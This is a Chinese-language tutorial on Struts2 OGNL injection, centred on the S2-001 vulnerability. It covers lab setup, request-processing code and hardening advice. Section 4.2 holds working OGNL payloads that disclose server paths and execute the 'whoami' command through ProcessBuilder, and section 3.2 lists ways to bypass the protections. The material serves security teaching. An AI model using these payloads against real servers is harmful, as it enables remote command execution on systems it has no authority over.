Struts2框架安全漏洞分析与利用研究
字数 2692 2025-08-29 22:41:32
Struts2框架安全漏洞分析与利用教学文档
1. Struts2框架概述
1.1 基本概念
- MVC架构:Struts2是基于MVC(Model-View-Controller)设计模式的Web应用框架
- 技术基础:Struts2融合了Struts1和WebWork的技术优势,核心机制基于WebWork
- 核心特性:
- 使用"拦截器(Interceptor)"机制处理用户请求
- 业务逻辑控制器与Servlet API完全解耦
- 默认采用OGNL作为表达式语言
1.2 架构组成
- Model:负责数据维护和业务逻辑(通常是Action类)
- View:负责页面展示(Result)
- Controller:通过代码控制请求流程
2. OGNL表达式语言
2.1 OGNL简介
- 全称:Object-Graph Navigation Language
- 功能:通过简洁语法访问对象属性、调用方法、创建集合、构造Map等
- 示例:
person.address[0].province访问user1的person属性中第一个address的province字段
2.2 OGNL核心功能
| 功能类别 | 示例 | 说明 |
|---|---|---|
| 属性访问 | name.length() |
访问属性 |
| 方法调用 | #user.hashCode() |
调用方法 |
| 数组访问 | "name".toCharArray()[0] |
访问数组元素 |
| 集合操作 | 'admin' in {'user', 'admin', 'guest'} |
判断元素是否在集合中 |
| 静态方法 | @java.lang.Math@floor(10.9) |
调用静态方法 |
| 静态字段 | @com.demo.Constants@DEFAULT_TIMEOUT |
访问静态字段 |
| 表达式组合 | price=100, discount=0.8, price*discount |
支持多个表达式组合 |
| 对象构造 | new java.util.ArrayList() |
创建新对象 |
| Map构造 | #{'key1':'value1', 'key2':'value2'} |
构造Map |
2.3 OGNL上下文
- OgnlContext:本质是一个Map,包含以下核心元素:
_root:上下文的根对象_values:以Map形式保存传入上下文的参数ClassResolver:处理类加载的策略TypeConverter:处理类型转换MemberAccess:控制访问对象成员的权限策略
3. Struts2漏洞分析
3.1 漏洞根源
- 核心问题:OGNL表达式解析过程中的未加限制或未正确过滤
- 攻击方式:通过精心构造的恶意表达式执行任意方法调用、类加载、系统命令执行
- 常见漏洞类型:远程命令执行(RCE)
3.2 防护机制与绕过
| 防护机制 | 描述 | 绕过方式 |
|---|---|---|
| allowStaticMethodAccess | 是否允许调用静态方法 | 通过OGNL动态修改配置 |
| allowStaticFieldAccess | 是否允许访问静态属性 | 通过反射设置私有属性访问权限 |
| xwork.MethodAccessor.denyMethodExecution | 防止OGNL调用方法 | 修改安全策略 |
| excludedPackageNames/Classes | 黑名单限制调用指定包或类 | 使用非黑名单类或方法 |
4. S2-001漏洞详解
4.1 漏洞信息
- 影响版本:Struts 2.0.0 - 2.0.8
- CVE编号:CVE-2007-4556
- 漏洞原理:
- 用户提交表单数据验证失败时,后端使用OGNL表达式
%{value}解析参数值 - 重新填充到表单数据时执行了恶意OGNL表达式
- 用户提交表单数据验证失败时,后端使用OGNL表达式
4.2 漏洞复现
环境搭建
- 创建Maven项目并添加Struts2 2.0.8依赖
- 配置web.xml添加Struts2过滤器
- 创建Action类和JSP视图文件
- 配置struts.xml定义Action映射
关键配置
<!-- web.xml配置 -->
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
漏洞探测
- 输入测试:
%{1111*11} - 预期结果:返回计算结果
12221表明存在OGNL表达式注入
漏洞利用
- 获取Tomcat执行路径:
%{"tomcatBinPath="+@java.lang.System@getProperty("user.dir")} - 获取Web路径:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#response.getWriter().println(#req.getRealPath('/')),#response.getWriter().flush(),#response.getWriter().close()} - 执行任意命令:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
4.3 漏洞修复
- 修复方案:在xwork 2.0.4中添加maxLoopCount属性限制递归解析的最大数目
- 升级建议:升级到不受影响的Struts2版本
5. 漏洞利用流程分析
5.1 请求处理流程
- FilterDispatcher.doFilter:请求入口
- dispatcher.serviceAction:核心请求处理
- 创建ActionProxy
- 初始化DefaultActionInvocation
- 拦截器链执行:
- ParametersInterceptor处理请求参数
- 通过OgnlValueStack.setValue设置参数值
- Action执行:调用目标Action的execute方法
- 结果渲染:执行Result实现类的execute方法
5.2 漏洞触发点
- ParametersInterceptor:处理请求参数时未充分过滤OGNL表达式
- TextParseUtil.translateVariables:对参数值进行二次解析
- OGNL表达式执行:通过while循环不断解析表达式导致任意代码执行
5.3 关键代码分析
// ParametersInterceptor.doIntercept
public String doIntercept(ActionInvocation invocation) throws Exception {
Object action = invocation.getAction();
// 获取并处理请求参数
setParameters(action, new HashMap<String, Object>(), new HashSet<String>());
return invocation.invoke();
}
// OgnlValueStack.setValue
public void setValue(String expr, Object value) {
// 解析并执行OGNL表达式
ognlUtil.setValue(expr, context, root, value, throwExceptionOnFailure);
}
// TextParseUtil.translateVariables
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
// 解析%{}包裹的表达式
while (true) {
int start = expression.indexOf(open + "{");
if (start == -1) {
break;
}
// 递归解析导致漏洞
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
// ...
}
}
6. 防御措施
6.1 开发建议
- 禁用或限制OGNL表达式功能
- 严格过滤用户输入
- 关闭调试模式(devMode=false)
- 使用最新稳定版本框架
6.2 安全配置
<!-- struts.xml安全配置示例 -->
<constant name="struts.ognl.allowStaticMethodAccess" value="false"/>
<constant name="struts.devMode" value="false"/>
<constant name="struts.excludedClasses" value="java.lang.Object,java.lang.Runtime"/>
6.3 监控与检测
- 监控异常OGNL表达式执行
- 定期进行安全扫描
- 建立输入验证机制
7. 总结
Struts2框架的安全漏洞主要源于OGNL表达式的强大功能和缺乏足够的安全限制。S2-001漏洞展示了当用户输入被直接解析为OGNL表达式时可能导致的严重后果。理解Struts2的请求处理流程和OGNL表达式的工作机制对于发现和防御此类漏洞至关重要。开发者应当遵循安全最佳实践,及时更新框架版本,并实施严格的安全配置来降低风险。